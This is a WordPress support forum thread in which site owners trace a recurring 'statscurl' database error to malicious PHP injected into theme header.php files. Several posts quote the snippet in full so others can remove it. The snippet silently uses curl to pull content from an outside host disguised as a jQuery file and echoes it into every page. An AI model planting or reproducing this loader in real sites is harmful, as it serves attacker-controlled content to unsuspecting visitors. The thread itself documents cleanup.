WordPress.org

Ready to get started?Download WordPress

Forums

Error Message: Couldn't connect to database server. (46 posts)

  1. loyalover
    Member
    Posted 2 years ago #

    Full error message:

    Couldn't connect to database server.Couldn't find database magical_rules.An unexpected problem has occured with the application.
    SELECT statscurl_id FROM statscurl WHERE statscurl_ip = '';

    I've googled about it and apparently many others seem to have the exact same problem. Does anyone know how to resolve this? No, its not with the plugins. No, its not with the 3.3 update.

    I've reinstalled the wordpress application twice and although it started out fine, within less than half an hour, the error message surfaced again.

    Thanks to all who have anything to reply!

  2. RichardWPG
    Member
    Posted 2 years ago #

    Check your database credentials with your hosting provider.

  3. loyalover
    Member
    Posted 2 years ago #

    My hosting provider mentioned that it has nothing to do with their side. Could it be the application?

  4. Shashikanta
    Member
    Posted 2 years ago #

    statscurl must be a database not wp db. Its a hack i think. Its coming with all wordpress 3.3 upgrade.

    I have seen lots of website having same error

    http://irishalien.com/

    http://www.billyfranks.com

    http://hubtan.com

  5. loyalover
    Member
    Posted 2 years ago #

    "statscurl must be a database not wp db. Its a hack i think. Its coming with all wordpress 3.3 upgrade."

    I'm quite a IT retard. Could You explain that in simplier terms? :x
    I'm suprised why isn't any of those sites trying to fix it.

  6. michael.l.hayden
    Member
    Posted 2 years ago #

    In the folder containing your selected template, there is a header.php file. Just above </head> there is the following:

    <?php
    
    if(function_exists('curl_init'))
    
    {
    
     $url = "http://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js"; 
    
     $ch = curl_init();  
    
     $timeout = 5;  
    
     curl_setopt($ch,CURLOPT_URL,$url); 
    
     curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); 
    
     curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout); 
    
     $data = curl_exec($ch);  
    
     curl_close($ch); 
    
     echo "$data";
    
    }
    
    ?>

    That is the source of the:
    SELECT statscurl_id FROM statscurl WHERE statscurl_ip = '';

    I just commented it out and all was well.

  7. Shashikanta
    Member
    Posted 2 years ago #

    I resolve this issues this is due to All in One SEO Pack - Pro Version which is not compatible with WordPress 3.3 after disabling this there is no such error msgs.

  8. b1ngo
    Member
    Posted 2 years ago #

    i have wp v3.2.1 i've not upgraded yet to v3.3 and the error is there ... so is not a v3.3 error ....
    any ideeas how i can get rid of it ?
    i've disabled all plugins and everithing and the error is still there ....

  9. stefanplesca
    Member
    Posted 2 years ago #

    Hey! I have this exact problem on an elegant theme. It won't go away until I change the theme. But I really need to use the one I customized. So? any help please?!

  10. stefanplesca
    Member
    Posted 2 years ago #

    Wow! This is insane! I'm not doing anything but it gets worse - now I get:

    `You don't have permission to access /backlinker.php on this server.
    Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.
    Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at 4llw4d.freefilesblog.com Port 80`

    What's happening? Really?

  11. heavenkiss
    Member
    Posted 2 years ago #

    Same problem here stefan. Not good....

  12. novrysabmen
    Member
    Posted 2 years ago #

    Same problem here stefan. Not good...., please help me to handle that problem

  13. loyalover
    Member
    Posted 2 years ago #

    I think its happening to everyone else who had the initial error. Now it gets worst. Anyone else knows where else to direct our questions at?

  14. novrysabmen
    Member
    Posted 2 years ago #

    I change the themes that I use (thesis themes) became the standard wordpress themes. error as above was missing. and now the problem, how to improve my thesis themes that no longer error out as above?

  15. loyalover
    Member
    Posted 2 years ago #

    I realised that it could very possibly be due to the themes (i was using elegant theme).

    Will try to contact the theme developers

  16. loyalover
    Member
    Posted 2 years ago #

    I believe that very possibly the only way to rectify the problem is to change the theme entirely. Sigh!

  17. evansamlalo
    Member
    Posted 2 years ago #

    Initially i was getting this error message

    Couldn't connect to database server.Couldn't find database magical_rules.An unexpected problem has occured with the application.
    SELECT statscurl_id FROM statscurl WHERE statscurl_ip = '';

    Now i get this
    You don't have permission to access /backlinker.php on this server.
    Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.
    Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at 4llw4d.freefilesblog.com Port 80

    Anyone with a possible solution?
    Thanks

  18. michael.l.hayden
    Member
    Posted 2 years ago #

    Testing 123. Is this thing on?
    I fixed this same problem over 50 different blogs.
    I post the solution here 3 times already, but I get the feeling it must not be getting posted because I included the code in my post.

    1.) You don't need to change your theme.
    2.) you need to FTP into your blog
    3.) open the header.php file in your selected theme folder
    4.) comment out the PHP code just above the </head> html element that is trying to import a javascript file using curl
    ......
    Ohhhh, wait, I get it. You guys are not hosting your own WordPress blog.
    If that is the case, then I guess your Sh*t out of luck. Unless you can edit the header.php page from the admin area of your blog.

  19. heavenkiss
    Member
    Posted 2 years ago #

    Can this not be done from the editor in wordpress?

  20. loyalover
    Member
    Posted 2 years ago #

    YES IT CAN BE DONE FROM EDITOR. JUST REMOVE THIS CODE FROM ABOVE THE </HEAD>
    YAY! THANKS A MILLION

    <?php
    if(function_exists('curl_init'))
    {
    $url = "http://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js";
    $ch = curl_init();
    $timeout = 5;
    curl_setopt($ch,CURLOPT_URL,$url);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
    curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
    $data = curl_exec($ch);
    curl_close($ch);
    echo "$data";
    }
    ?>

  21. heavenkiss
    Member
    Posted 2 years ago #

    Oh god... I deletedthe wrong part of te code and now my website is messed up!!! Any ideas howto fix?

  22. Restore from a backup.

  23. heavenkiss
    Member
    Posted 2 years ago #

    I dont manually back my site up :/

  24. tksailo
    Member
    Posted 2 years ago #

    man! I just remove this line:
    <?php
    if(function_exists('curl_init'))
    {
    $url = "http://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js";
    $ch = curl_init();
    $timeout = 5;
    curl_setopt($ch,CURLOPT_URL,$url);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
    curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
    $data = curl_exec($ch);
    curl_close($ch);
    echo "$data";
    }
    ?>
    Now its gone, thanks

  25. DDP24
    Member
    Posted 2 years ago #

    thanks michael...worked like a charm via ftp! :-) i learned something new today.

  26. cncinco
    Member
    Posted 2 years ago #

    my site: http://www.ballbearing-china.com have the same problem, host is DM

  27. hereiamlive
    Member
    Posted 2 years ago #

    I searched the header.php file from my 'wp-content/themes/twentyten/header.php' directory and did not find that code:

    <?php
    if(function_exists('curl_init'))
    {
    $url = "http://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js";
    $ch = curl_init();
    $timeout = 5;
    curl_setopt($ch,CURLOPT_URL,$url);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
    curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
    $data = curl_exec($ch);
    curl_close($ch);
    echo "$data";
    }
    ?>

    I am still getting the error:
    Couldn't connect to database server.Couldn't find database magical_rules.An unexpected problem has occured with the application.
    SELECT statscurl_id FROM statscurl WHERE statscurl_ip = '';

    What am I missing?

  28. nirajkvinit
    Member
    Posted 2 years ago #

    Thanks michael.l.hayden You had pinpointed the error. I am sure, the theme was a corrupt one. By commenting out the lines you had mentioned the problem is gone.

  29. ms9988
    Member
    Posted 2 years ago #

    thanks for your suggestions. i was also getting the same message but it has resolve now!

    Remove the code from Header.php

    <?php
    if(function_exists('curl_init'))
    {
     $url = "http://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js";
     $ch = curl_init();
     $timeout = 5;
     curl_setopt($ch,CURLOPT_URL,$url);
     curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
     curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
     $data = curl_exec($ch);
     curl_close($ch);
     echo "$data";
    }
    ?>
  30. michael.l.hayden
    Member
    Posted 2 years ago #

    I'm happy that I am able to help.

Topic Closed

This topic has been closed to new replies.

About this Topic